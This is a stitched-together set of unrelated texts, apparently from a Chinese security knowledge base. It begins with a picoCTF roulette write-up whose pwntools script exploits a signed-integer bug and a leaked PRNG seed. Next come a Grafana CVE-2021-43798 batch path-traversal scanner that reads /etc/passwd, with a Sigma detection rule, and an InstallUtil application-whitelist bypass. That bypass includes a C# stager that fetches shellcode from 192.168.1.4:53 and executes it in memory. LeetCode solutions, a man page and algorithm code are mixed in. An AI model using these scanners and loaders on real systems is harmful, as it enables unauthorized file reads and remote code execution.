"WRONG",
"Nice try..",
"YOU LOSE",
"Not this time..",
"Better luck next time..."
};
const char *lose_msgs2[NUM_LOSE_MSGS] = {
"Just give up!",
"It's over for you.",
"Stop wasting your time.",
"You're never gonna win",
"If you keep it up, maybe you'll get the flag in 100000000000 years"
};
void spin_roulette(long spin) {
int n;
puts("");
printf("Roulette : ");
int i, j;
int s = 12500;
for (i = 0; i < ROULETTE_SPINS; i++) {
n = printf("%d", (i%ROULETTE_SIZE)+1);
usleep(s);
for (j = 0; j < n; j++) {
printf("\b \b");
}
}
for (i = ROULETTE_SPINS; i < (ROULETTE_SPINS+ROULETTE_SIZE); i++) {
n = printf("%d", (i%ROULETTE_SIZE)+1);
if (((i%ROULETTE_SIZE)+1) == spin) {
for (j = 0; j < n; j++) {
printf("\b \b");
}
break;
}
usleep(s);
for (j = 0; j < n; j++) {
printf("\b \b");
}
}
for (int k = 0; k < ROULETTE_SIZE; k++) {
n = printf("%d", ((i+k)%ROULETTE_SIZE)+1);
s = 1.1*s;
usleep(s);
for (j = 0; j < n; j++) {
printf("\b \b");
}
}
printf("%ld", spin);
usleep(s);
puts("");
puts("");
}
void play_roulette(long choice, long bet) {
printf("Spinning the Roulette for a chance to win $%lu!\n", 2*bet);
long spin = (rand() % ROULETTE_SIZE)+1;
spin_roulette(spin);
if (spin == choice) {
cash += 2*bet;
puts(win_msgs[rand()%NUM_WIN_MSGS]);
wins += 1;
}
else {
puts(lose_msgs1[rand()%NUM_LOSE_MSGS]);
puts(lose_msgs2[rand()%NUM_LOSE_MSGS]);
}
puts("");
}
int main(int argc, char *argv[]) {
setvbuf(stdout, NULL, _IONBF, 0);
cash = get_rand();
puts("Welcome to ONLINE ROULETTE!");
printf("Here, have $%ld to start on the house! You'll lose it all anyways >:)\n", cash);
puts("");
long bet;
long choice;
while(cash > 0) {
bet = get_bet();
cash -= bet;
choice = get_choice();
puts("");
play_roulette(choice, bet);
if (wins >= MAX_WINS) {
printf("Wow you won %lu times? Looks like its time for you cash you out.\n", wins);
printf("Congrats you made $%lu. See you next time!\n", cash);
exit(-1);
}
if(cash > ONE_BILLION) {
printf("*** Current Balance: $%lu ***\n", cash);
if (wins >= HOTSTREAK) {
puts("Wow, I can't believe you did it.. You deserve this flag!");
print_flag();
exit(0);
}
else {
puts("Wait a second... You're not even on a hotstreak! Get out of here cheater!");
exit(-1);
}
}
}
puts("Haha, lost all the money I gave you already? See ya later!");
return 0;
}
```
## Solution:
In this Roulette game, we need to make more than `ONE_BILLION` dollars, winning at least `HOTSTREAK` times, in order to get the flag.
A typical game is similar to the following:
```
root@kali:/media/sf_CTFs/pico/roulette# ./roulette
Welcome to ONLINE ROULETTE!
Here, have $2436 to start on the house! You'll lose it all anyways >:)
How much will you wager?
Current Balance: $2436 Current Wins: 0
> 42
Choose a number (1-36)
> 24
Spinning the Roulette for a chance to win $84!
Roulette : 9
Not this time..
It's over for you.
How much will you wager?
Current Balance: $2394 Current Wins: 0
>
```
We start with a random amount of cash. We place a bet on one of the number, and if we get it right we double our bet. Given the odds, though, most chances are that we'd lose. Unless we cheat, that is.
First, let's check what happens if we try to bet on more than we have:
```
How much will you wager?
Current Balance: $9 Current Wins: 0
> 10
You can't bet more than you have!
How much will you wager?
Current Balance: $9 Current Wins: 0
```
The program won't let us. This is enforced by the following logic:
```c
long get_long() {
printf("> ");
uint64_t l = 0;
char c = 0;
while(!is_digit(c))
c = getchar();
while(is_digit(c)) {
if(l >= LONG_MAX) {
l = LONG_MAX;
break;
}
l *= 10;
l += c - '0';
c = getchar();
}
while(c != '\n')
c = getchar();
return l;
}
long get_bet() {
while(1) {
puts("How much will you wager?");
printf("Current Balance: $%lu \t Current Wins: %lu\n", cash, wins);
long bet = get_long();
if(bet <= cash) {
return bet;
} else {
puts("You can't bet more than you have!");
}
}
}
```
Notice how `get_long` uses uint64_t, while get_bet uses `long`.
So this comparison is unsigned:
```c
if(l >= LONG_MAX) {
l = LONG_MAX;
break;
}
```
Which means that we aren't allowed to bet on LONG_MAX, but we are allowed to be on LONG_MAX + 1 (which will be interpreted as 0) or higher:
```
Current Balance: $9 Current Wins: 0
> 2147483647
You can't bet more than you have!
How much will you wager?
Current Balance: $9 Current Wins: 0
> 2147483648
Choose a number (1-36)
> 1
Spinning the Roulette for a chance to win $0!
```
What happens if we bet on LONG_MAX + 100000000?
```
Current Balance: $1245 Current Wins: 0
> 2247483647
Choose a number (1-36)
> 1
Spinning the Roulette for a chance to win $199999998!
Roulette : 31
WRONG
Stop wasting your time.
*** Current Balance: $2047484894 ***
Wait a second... You're not even on a hotstreak! Get out of here cheater!
```
`get_bet` returns with 2247483647 interpreted as signed, which is -2047483649 as a signed long:
```
root@kali:/media/sf_CTFs/pico/roulette# python
Python 2.7.15 (default, May 1 2018, 05:55:50)
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import numpy
>>> numpy.uint32(2247483647)
2247483647
>>> numpy.int32(2247483647)
-2047483649
>>>
```
The bet is subtracted from the cash, but since the bet is negative, the cash grows:
```c
bet = get_bet();
cash -= bet; // => cash -= -2047483649 => cash += 2047483649 = 1245 + 2047483649 = 2047484894
```
As long as we don't guess right, we are richer. However, we have to be on a hotstreak to win, otherwise the program identifies us (correctly) as cheaters.
To correctly predict the upcoming number, we'll have to find another bug.
The chosen number is selected by calling `rand`:
```c
long spin = (rand() % ROULETTE_SIZE)+1;
```
However, `rand` is only pseudo-random. Given the same seed, it will produce the same outcome. The seed is selected by calling `/dev/urandom`:
```c
long get_rand() {
long seed;
FILE *f = fopen("/dev/urandom", "r");
fread(&seed, sizeof(seed), 1, f);
fclose(f);
seed = seed % 5000;
if (seed < 0) seed = seed * -1;
srand(seed);
return seed;
}
```
Which means that we can't easily predict it. Fortunately, it is leaked:
```c
cash = get_rand();
puts("Welcome to ONLINE ROULETTE!");
printf("Here, have $%ld to start on the house! You'll lose it all anyways >:)\n", cash);
```
So, given the amount of cash (a.k.a. random seed), we can predict all the upcoming random numbers, using the following C program:
```c
#include <stdio.h>
#include <stdlib.h>
#define ROULETTE_SIZE (36)
#define NUM_RAND_NAMBERS (10)
int main (int argc, char* argv[]) {
int i;
srand(atoi(argv[1]));
for( i = 0 ; i < NUM_RAND_NAMBERS ; i++ ) {
printf("%d\n", (rand() % ROULETTE_SIZE) + 1);
}
return 0 ;
}
```
Compile it with `gcc rand_rol.c -o rand_rol` and we get the ability to predict 10 random numbers, given a seed.
```console
root@kali:/media/sf_CTFs/pico/roulette# ./rand_rol 1245
31
21
9
26
32
31
5
17
7
1
```
Now, we run the program again, and use the cash amount as a parameter for `rand_rol` in order to get the next 10 random numbers. We just need to win 3 rounds, but each round "wastes" 2 random numbers: One for the chosen number, and one more for `puts(win_msgs[rand()%NUM_WIN_MSGS])`.
We win 3 times, then bet for LONG_MAX + 100000000, and we're done.
The script:
```python
from pwn import *
import re
LONG_MAX = 0x7FFFFFFF
r = remote("2018shell3.picoctf.com", 48312)
r.recvline()
line = r.recvline()
print line
seed = re.search("\$(\d+)", line).group(1)
log.info("Seed: {}".format(seed))
rand_rol = process(["./rand_rol", str(seed)])
random_values = rand_rol.recvall()
random_arr = random_values.split("\n")
log.info("Random values: {}".format(random_arr))
def make_bet(amount, number):
log.info("Making bet: Amount: {}, number: {}".format(amount, number))
r.recvuntil("> ")
r.sendline(str(amount))
r.recvuntil("> ")
r.sendline(str(number))
for i in range(7):
line = r.recvline().strip()
if line != "":
print line
for i in range(3):
number = random_arr.pop(0)
random_arr.pop(0)
make_bet(1, number)
make_bet(LONG_MAX + 100000000, 1)
print r.recvall()
```
The output:
```console
root@kali:/media/sf_CTFs/pico/roulette# python exploit.py
[+] Opening connection to 2018shell3.picoctf.com on port 48312: Done
Here, have $2552 to start on the house! You'll lose it all anyways >:)
[*] Seed: 2552
[+] Starting local process './rand_rol': pid 2131
[+] Receiving all data: Done (28B)
[*] Process './rand_rol' stopped with exit code 0 (pid 2131)
[*] Random values: ['25', '5', '20', '12', '31', '35', '19', '1', '20', '13', '']
[*] Making bet: Amount: 1, number: 25
Spinning the Roulette for a chance to win $2!
Roulette : 25
Darn, you got it right.
[*] Making bet: Amount: 1, number: 20
Spinning the Roulette for a chance to win $2!
Roulette : 20
You chose correct!
[*] Making bet: Amount: 1, number: 31
Spinning the Roulette for a chance to win $2!
Roulette : 31
Wow.. Nice One!
[*] Making bet: Amount: 2247483647, number: 1
Spinning the Roulette for a chance to win $199999998!
Roulette : 19
WRONG
It's over for you.
[+] Receiving all data: Done (140B)
[*] Closed connection to 2018shell3.picoctf.com port 48312
*** Current Balance: $2047486204 ***
Wow, I can't believe you did it.. You deserve this flag!
picoCTF{1_h0p3_y0u_f0uNd_b0tH_bUg5_8fb4d984}
```
The flag: picoCTF{1_h0p3_y0u_f0uNd_b0tH_bUg5_8fb4d984}
|
sec-knowleage
|
# T1190-CVE-2021-43798 Grafana 任意文件读取漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。Grafana 存在未授权任意文件读取漏洞,攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。
影响范围:Grafana 8.0.0-beta1 to 8.3.0
FOFa查询语句:app="Grafana"
## 检测日志
HTTP.log
## 测试复现
漏洞利用方式建议参考:Grafana未授权任意文件读取漏洞
<https://www.cnblogs.com/bflw/p/15659188.html>
具体POC可参考:
```python
# coding:utf-8
# Author:绯夜 By T00ls.Net
import requests,urllib3
import urllib.request
import ssl
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
urls = open('url.txt')
headers = {
'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"
}
for i in urls:
url = i.rstrip("\n")
list = ['/public/plugins/alertGroups/../../../../../../../../etc/passwd',
'/public/plugins/alertlist/../../../../../../../../etc/passwd',
'/public/plugins/alertmanager/../../../../../../../../etc/passwd',
'/public/plugins/annolist/../../../../../../../../etc/passwd',
'/public/plugins/barchart/../../../../../../../../etc/passwd',
'/public/plugins/bargauge/../../../../../../../../etc/passwd',
'/public/plugins/canvas/../../../../../../../../etc/passwd',
'/public/plugins/cloudwatch/../../../../../../../../etc/passwd',
'/public/plugins/dashboard/../../../../../../../../etc/passwd',
'/public/plugins/dashlist/../../../../../../../../etc/passwd',
'/public/plugins/debug/../../../../../../../../etc/passwd',
'/public/plugins/elasticsearch/../../../../../../../../etc/passwd',
'/public/plugins/gauge/../../../../../../../../etc/passwd',
'/public/plugins/geomap/../../../../../../../../etc/passwd',
'/public/plugins/gettingstarted/../../../../../../../../etc/passwd',
'/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd',
'/public/plugins/grafana/../../../../../../../../etc/passwd',
'/public/plugins/graph/../../../../../../../../etc/passwd',
'/public/plugins/graphite/../../../../../../../../etc/passwd',
'/public/plugins/heatmap/../../../../../../../../etc/passwd',
'/public/plugins/histogram/../../../../../../../../etc/passwd',
'/public/plugins/influxdb/../../../../../../../../etc/passwd',
'/public/plugins/jaeger/../../../../../../../../etc/passwd',
'/public/plugins/live/../../../../../../../../etc/passwd',
'/public/plugins/logs/../../../../../../../../etc/passwd',
'/public/plugins/loki/../../../../../../../../etc/passwd',
'/public/plugins/mixed/../../../../../../../../etc/passwd',
'/public/plugins/mssql/../../../../../../../../etc/passwd',
'/public/plugins/mysql/../../../../../../../../etc/passwd',
'/public/plugins/news/../../../../../../../../etc/passwd',
'/public/plugins/nodeGraph/../../../../../../../../etc/passwd',
'/public/plugins/opentsdb/../../../../../../../../etc/passwd',
'/public/plugins/piechart/../../../../../../../../etc/passwd',
'/public/plugins/pluginlist/../../../../../../../../etc/passwd',
'/public/plugins/postgres/../../../../../../../../etc/passwd',
'/public/plugins/prometheus/../../../../../../../../etc/passwd',
'/public/plugins/stat/../../../../../../../../etc/passwd',
'/public/plugins/state-timeline/../../../../../../../../etc/passwd',
'/public/plugins/status-history/../../../../../../../../etc/passwd',
'/public/plugins/table-old/../../../../../../../../etc/passwd',
'/public/plugins/table/../../../../../../../../etc/passwd',
'/public/plugins/tempo/../../../../../../../../etc/passwd',
'/public/plugins/testdata/../../../../../../../../etc/passwd',
'/public/plugins/text/../../../../../../../../etc/passwd',
'/public/plugins/timeseries/../../../../../../../../etc/passwd',
'/public/plugins/welcome/../../../../../../../../etc/passwd',
'/public/plugins/xychart/../../../../../../../../etc/passwd',
'/public/plugins/zipkin/../../../../../../../../etc/passwd',]
for i in list:
urls = url +i
try:
try:
request = urllib.request.urlopen(urls,timeout=8)
content = request.read().decode('utf-8')
except:
request = urllib.request.urlopen(urls, context=ssl._create_unverified_context(),timeout=8)
content = request.read().decode('utf-8')
if 'root:x:0:0:root' in content:
print("[+] Sussess "+urls)
result = urls+"==>Success"
with open("Success.txt", "a+") as a:
a.write(result + '\n')
break
except:
print("[*] Failed")
```
## 测试留痕
暂未进行实际有效的测试,故引用他人测试数据信息。
<https://blog.riskivy.com/wp-content/uploads/2021/12/md-1.png>
## 检测规则/思路
### Sigma规则
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
```yml
title: CVE-2021-43798 Grafana 任意文件读取漏洞
status: experimental
description: Grafana 存在未授权任意文件读取漏洞,攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。
references:
- https://saucer-man.com/information_security/856.html
author: 12306Br0
date: 2021/12/09
tags:
- attack.initial_access
- attack.t1190
logsource:
category: webserver
detection:
selection:
cs-method: 'GET'
c-uri|contains|all:
- '/../../../../../../../../'
- '/public/plugins'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
level: critical
```
### 建议
观察请求包与响应报内容。如请求路径中包含/etc/passwd,代表攻击者尝试读取/etc/passwd下密码信息,如响应状态码为200,且响应包中包含root:x:0:0:root,意味着攻击成功;如请求路径中包含/var/lib/grafana/grafana.db,代表攻击者尝试读取数据库文件,如果响应状态码为200,且响应包z中包含SQLite format,很意味着攻击成功。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
Grafana 未授权任意文件读取漏洞
<https://www.cnblogs.com/bflw/p/15659188.html>
CVE-2021-43798 Grafana 任意文件读取漏洞分析
<https://saucer-man.com/information_security/856.html>
朴实无华的Grafana未授权任意文件读取漏洞批量验证脚本
<https://www.t00ls.cc/thread-63673-1-1.html>
|
sec-knowleage
|
### Installutil简介:
Installer工具是一个命令行实用程序,允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用。
具体参考:Windows Installer部署
https://docs.microsoft.com/zh-cn/previous-versions/2kt85ked(v=vs.120)
**说明:**Installutil.exe所在路径没有被系统添加PATH环境变量中,因此,Installutil命令无法识别。
基于白名单installutil.exe配置payload:
Windows 7 默认位置:
```bash
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
```
**攻击机:**192.168.1.4 Debian
**靶机:**192.168.1.3 Windows 7
### 配置攻击机msf:

### 靶机执行:
### 靶机编译:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Mic opoor.exe /keyfile:C:\Users\John\Desktop\installutil.snk /unsafe C:\Users\John\Desktop\installutil.cs
```

**payload:**
Micropoor.exe

**靶机执行:**
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U Micropoor.exe
```

### 附录:Micropoor.cs
**注:x64 payload**
```csharp
using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.Configuration.Install; using System.Windows.Forms;
public class GQLBigHgUniLuVx {
public static void Main()
{
while(true)
{{ MessageBox.Show("doge"); Console.ReadLine();}}
}
}
[System.ComponentModel.RunInstaller(true)]
public class esxWUYUTWShqW : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary zWrdFAUHmunnu)
{
jkmhGrfzsKQeCG.LCIUtRN();
}
}
public class jkmhGrfzsKQeCG
{ [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 YUtHhF,UInt32 VenifEUR, UInt32 NIHbxnOmrgiBGL, UInt32 KIheHEUxhAfOI);
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 GDmElasSZbx, UInt32 rGECFEZG, UInt32 UyBSrAIp,IntPtr sPEeJlufmodo, UInt32 jmzHRQU, ref UInt32 SnpQPGMvDbMOGmn);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr pRIwbzTTS, UInt32 eRLAWWYQnq);
static byte[] ErlgHH(string ZwznjBJY, int KsMEeo) {
IPEndPoint qAmSXHOKCbGlysd = new IPEndPoint(IPAddress.Parse(ZwznjBJY), KsMEeo);
Socket XXxIoIXNCle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try { XXxIoIXNCle.Connect(qAmSXHOKCbGlysd); }
catch { return null;}
byte[] UmquAHRnhhpuE = new byte[4];
XXxIoIXNCle.Receive(UmquAHRnhhpuE, 4, 0);
int kFVRSNnpj = BitConverter.ToInt32(UmquAHRnhhpuE, 0);
byte[] qaYyFq = new byte[kFVRSNnpj + 5];
int SRCDELibA = 0;
while (SRCDELibA < kFVRSNnpj)
{ SRCDELibA += XXxIoIXNCle.Receive(qaYyFq, SRCDELibA + 5, (kFVRSNnpj ‐ SRCDELibA) < 4096 ? (kFVRSNnpj ‐ SRCDELibA) : 4096, 0);}
byte[] TvvzOgPLqwcFFv = BitConverter.GetBytes((int)XXxIoIXNCle.Handle);
Array.Copy(TvvzOgPLqwcFFv, 0, qaYyFq, 1, 4); qaYyFq[0] = 0xBF;
return qaYyFq;}
static void cmMtjerv(byte[] HEHUjJhkrNS) {
if (HEHUjJhkrNS != null) {
UInt32 WcpKfU = VirtualAlloc(0, (UInt32)HEHUjJhkrNS.Length, 0x1000, 0x40);
Marshal.Copy(HEHUjJhkrNS, 0, (IntPtr)(WcpKfU), HEHUjJhkrNS.Length);
IntPtr UhxtIFnlOQatrk = IntPtr.Zero;
UInt32 wdjYKFDCCf = 0;
IntPtr XVYcQxpp = IntPtr.Zero;
UhxtIFnlOQatrk = CreateThread(0, 0, WcpKfU, XVYcQxpp, 0, ref wdjYKFDCCf);
WaitForSingleObject(UhxtIFnlOQatrk, 0xFFFFFFFF); }}
public static void LCIUtRN() {
byte[] IBtCWU = null; IBtCWU = ErlgHH("192.168.1.4", 53);
cmMtjerv(IBtCWU);
} }
```
>installutil.snk 596B
> Micropoor
|
sec-knowleage
|
# Leetcode 题解 - 字符串
<!-- GFM-TOC -->
* [Leetcode 题解 - 字符串](#leetcode-题解---字符串)
* [1. 字符串循环移位包含](#1-字符串循环移位包含)
* [2. 字符串循环移位](#2-字符串循环移位)
* [3. 字符串中单词的翻转](#3-字符串中单词的翻转)
* [4. 两个字符串包含的字符是否完全相同](#4-两个字符串包含的字符是否完全相同)
* [5. 计算一组字符集合可以组成的回文字符串的最大长度](#5-计算一组字符集合可以组成的回文字符串的最大长度)
* [6. 字符串同构](#6-字符串同构)
* [7. 回文子字符串个数](#7-回文子字符串个数)
* [8. 判断一个整数是否是回文数](#8-判断一个整数是否是回文数)
* [9. 统计二进制字符串中连续 1 和连续 0 数量相同的子字符串个数](#9-统计二进制字符串中连续-1-和连续-0-数量相同的子字符串个数)
<!-- GFM-TOC -->
## 1. 字符串循环移位包含
[编程之美 3.1](#)
```html
s1 = AABCD, s2 = CDAA
Return : true
```
给定两个字符串 s1 和 s2,要求判定 s2 是否能够被 s1 做循环移位得到的字符串包含。
s1 进行循环移位的结果是 s1s1 的子字符串,因此只要判断 s2 是否是 s1s1 的子字符串即可。
## 2. 字符串循环移位
[编程之美 2.17](#)
```html
s = "abcd123" k = 3
Return "123abcd"
```
将字符串向右循环移动 k 位。
将 abcd123 中的 abcd 和 123 单独翻转,得到 dcba321,然后对整个字符串进行翻转,得到 123abcd。
## 3. 字符串中单词的翻转
[程序员代码面试指南](#)
```html
s = "I am a student"
Return "student a am I"
```
将每个单词翻转,然后将整个字符串翻转。
## 4. 两个字符串包含的字符是否完全相同
242\. Valid Anagram (Easy)
[Leetcode](https://leetcode.com/problems/valid-anagram/description/) / [力扣](https://leetcode-cn.com/problems/valid-anagram/description/)
```html
s = "anagram", t = "nagaram", return true.
s = "rat", t = "car", return false.
```
可以用 HashMap 来映射字符与出现次数,然后比较两个字符串出现的字符数量是否相同。
由于本题的字符串只包含 26 个小写字符,因此可以使用长度为 26 的整型数组对字符串出现的字符进行统计,不再使用 HashMap。
```java
public boolean isAnagram(String s, String t) {
int[] cnts = new int[26];
for (char c : s.toCharArray()) {
cnts[c - 'a']++;
}
for (char c : t.toCharArray()) {
cnts[c - 'a']--;
}
for (int cnt : cnts) {
if (cnt != 0) {
return false;
}
}
return true;
}
```
## 5. 计算一组字符集合可以组成的回文字符串的最大长度
409\. Longest Palindrome (Easy)
[Leetcode](https://leetcode.com/problems/longest-palindrome/description/) / [力扣](https://leetcode-cn.com/problems/longest-palindrome/description/)
```html
Input : "abccccdd"
Output : 7
Explanation : One longest palindrome that can be built is "dccaccd", whose length is 7.
```
使用长度为 256 的整型数组来统计每个字符出现的个数,每个字符有偶数个可以用来构成回文字符串。
因为回文字符串最中间的那个字符可以单独出现,所以如果有单独的字符就把它放到最中间。
```java
public int longestPalindrome(String s) {
int[] cnts = new int[256];
for (char c : s.toCharArray()) {
cnts[c]++;
}
int palindrome = 0;
for (int cnt : cnts) {
palindrome += (cnt / 2) * 2;
}
if (palindrome < s.length()) {
palindrome++; // 这个条件下 s 中一定有单个未使用的字符存在,可以把这个字符放到回文的最中间
}
return palindrome;
}
```
## 6. 字符串同构
205\. Isomorphic Strings (Easy)
[Leetcode](https://leetcode.com/problems/isomorphic-strings/description/) / [力扣](https://leetcode-cn.com/problems/isomorphic-strings/description/)
```html
Given "egg", "add", return true.
Given "foo", "bar", return false.
Given "paper", "title", return true.
```
记录一个字符上次出现的位置,如果两个字符串中的字符上次出现的位置一样,那么就属于同构。
```java
public boolean isIsomorphic(String s, String t) {
int[] preIndexOfS = new int[256];
int[] preIndexOfT = new int[256];
for (int i = 0; i < s.length(); i++) {
char sc = s.charAt(i), tc = t.charAt(i);
if (preIndexOfS[sc] != preIndexOfT[tc]) {
return false;
}
preIndexOfS[sc] = i + 1;
preIndexOfT[tc] = i + 1;
}
return true;
}
```
## 7. 回文子字符串个数
647\. Palindromic Substrings (Medium)
[Leetcode](https://leetcode.com/problems/palindromic-substrings/description/) / [力扣](https://leetcode-cn.com/problems/palindromic-substrings/description/)
```html
Input: "aaa"
Output: 6
Explanation: Six palindromic strings: "a", "a", "a", "aa", "aa", "aaa".
```
从字符串的某一位开始,尝试着去扩展子字符串。
```java
private int cnt = 0;
public int countSubstrings(String s) {
for (int i = 0; i < s.length(); i++) {
extendSubstrings(s, i, i); // 奇数长度
extendSubstrings(s, i, i + 1); // 偶数长度
}
return cnt;
}
private void extendSubstrings(String s, int start, int end) {
while (start >= 0 && end < s.length() && s.charAt(start) == s.charAt(end)) {
start--;
end++;
cnt++;
}
}
```
## 8. 判断一个整数是否是回文数
9\. Palindrome Number (Easy)
[Leetcode](https://leetcode.com/problems/palindrome-number/description/) / [力扣](https://leetcode-cn.com/problems/palindrome-number/description/)
要求不能使用额外空间,也就不能将整数转换为字符串进行判断。
将整数分成左右两部分,右边那部分需要转置,然后判断这两部分是否相等。
```java
public boolean isPalindrome(int x) {
if (x == 0) {
return true;
}
if (x < 0 || x % 10 == 0) {
return false;
}
int right = 0;
while (x > right) {
right = right * 10 + x % 10;
x /= 10;
}
return x == right || x == right / 10;
}
```
## 9. 统计二进制字符串中连续 1 和连续 0 数量相同的子字符串个数
696\. Count Binary Substrings (Easy)
[Leetcode](https://leetcode.com/problems/count-binary-substrings/description/) / [力扣](https://leetcode-cn.com/problems/count-binary-substrings/description/)
```html
Input: "00110011"
Output: 6
Explanation: There are 6 substrings that have equal number of consecutive 1's and 0's: "0011", "01", "1100", "10", "0011", and "01".
```
```java
public int countBinarySubstrings(String s) {
int preLen = 0, curLen = 1, count = 0;
for (int i = 1; i < s.length(); i++) {
if (s.charAt(i) == s.charAt(i - 1)) {
curLen++;
} else {
preLen = curLen;
curLen = 1;
}
if (preLen >= curLen) {
count++;
}
}
return count;
}
```
|
sec-knowleage
|
.TH SETMETAMODE 1 "09 Oct 1997" "控制台工具" "Linux 用户手册"
.SH NAME
setmetamode \- define the keyboard meta key handling
.SH 总览
.BI "setmetamode [ " meta | bit | metabit " | " esc | prefix | escprefix " ]"
.SH 描述
.PP
没有参数时,
.B setmetamode
将打印当前 Meta 键模式; 有参数时, 设置所指出的 Meta 键模式.
.LP
The Meta key mode is specific for each VT (and the VT
corresponding to stdin is used).
.SH 选项
.TP
.I esc prefix escprefix
The Meta key sends an Escape prefix.
.TP
.I meta bit metabit
The Meta key sets the high order bit of the character.
.SH 范例
可以用
.B setmetamode
在
.I /etc/rc
脚本中定义 Meta 键模式的初始状态. 例如, 可以如下设置:
.RS
INITTY=/dev/tty[1\-8]
.br
for tty in $INITTY; do
.RS
setmetamode escprefix < $tty
.RE
done
.RE
.SH "另见"
.BR loadkeys (1).
|
sec-knowleage
|
# 算法 - 其它
## 汉诺塔
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/69d6c38d-1dec-4f72-ae60-60dbc10e9d15.png" width="300"/> </div><br>
有三个柱子,分别为 from、buffer、to。需要将 from 上的圆盘全部移动到 to 上,并且要保证小圆盘始终在大圆盘上。
这是一个经典的递归问题,分为三步求解:
① 将 n-1 个圆盘从 from -\> buffer
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/f9240aa1-8d48-4959-b28a-7ca45c3e4d91.png" width="300"/> </div><br>
② 将 1 个圆盘从 from -\> to
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/f579cab0-3d49-4d00-8e14-e9e1669d0f9f.png" width="300"/> </div><br>
③ 将 n-1 个圆盘从 buffer -\> to
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/d02f74dd-8e33-4f3c-bf29-53203a06695a.png" width="300"/> </div><br>
如果只有一个圆盘,那么只需要进行一次移动操作。
从上面的讨论可以知道,a<sub>n</sub> = 2 * a<sub>n-1</sub> + 1,显然 a<sub>n</sub> = 2<sup>n</sup> - 1,n 个圆盘需要移动 2<sup>n</sup> - 1 次。
```java
public class Hanoi {
public static void move(int n, String from, String buffer, String to) {
if (n == 1) {
System.out.println("from " + from + " to " + to);
return;
}
move(n - 1, from, to, buffer);
move(1, from, buffer, to);
move(n - 1, buffer, from, to);
}
public static void main(String[] args) {
Hanoi.move(3, "H1", "H2", "H3");
}
}
```
```html
from H1 to H3
from H1 to H2
from H3 to H2
from H1 to H3
from H2 to H1
from H2 to H3
from H1 to H3
```
## 哈夫曼编码
根据数据出现的频率对数据进行编码,从而压缩原始数据。
例如对于一个文本文件,其中各种字符出现的次数如下:
- a : 10
- b : 20
- c : 40
- d : 80
可以将每种字符转换成二进制编码,例如将 a 转换为 00,b 转换为 01,c 转换为 10,d 转换为 11。这是最简单的一种编码方式,没有考虑各个字符的权值(出现频率)。而哈夫曼编码采用了贪心策略,使出现频率最高的字符的编码最短,从而保证整体的编码长度最短。
首先生成一颗哈夫曼树,每次生成过程中选取频率最少的两个节点,生成一个新节点作为它们的父节点,并且新节点的频率为两个节点的和。选取频率最少的原因是,生成过程使得先选取的节点位于树的更低层,那么需要的编码长度更长,频率更少可以使得总编码长度更少。
生成编码时,从根节点出发,向左遍历则添加二进制位 0,向右则添加二进制位 1,直到遍历到叶子节点,叶子节点代表的字符的编码就是这个路径编码。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/8edc5164-810b-4cc5-bda8-2a2c98556377.jpg" width="300"/> </div><br>
```java
public class Huffman {
private class Node implements Comparable<Node> {
char ch;
int freq;
boolean isLeaf;
Node left, right;
public Node(char ch, int freq) {
this.ch = ch;
this.freq = freq;
isLeaf = true;
}
public Node(Node left, Node right, int freq) {
this.left = left;
this.right = right;
this.freq = freq;
isLeaf = false;
}
@Override
public int compareTo(Node o) {
return this.freq - o.freq;
}
}
public Map<Character, String> encode(Map<Character, Integer> frequencyForChar) {
PriorityQueue<Node> priorityQueue = new PriorityQueue<>();
for (Character c : frequencyForChar.keySet()) {
priorityQueue.add(new Node(c, frequencyForChar.get(c)));
}
while (priorityQueue.size() != 1) {
Node node1 = priorityQueue.poll();
Node node2 = priorityQueue.poll();
priorityQueue.add(new Node(node1, node2, node1.freq + node2.freq));
}
return encode(priorityQueue.poll());
}
private Map<Character, String> encode(Node root) {
Map<Character, String> encodingForChar = new HashMap<>();
encode(root, "", encodingForChar);
return encodingForChar;
}
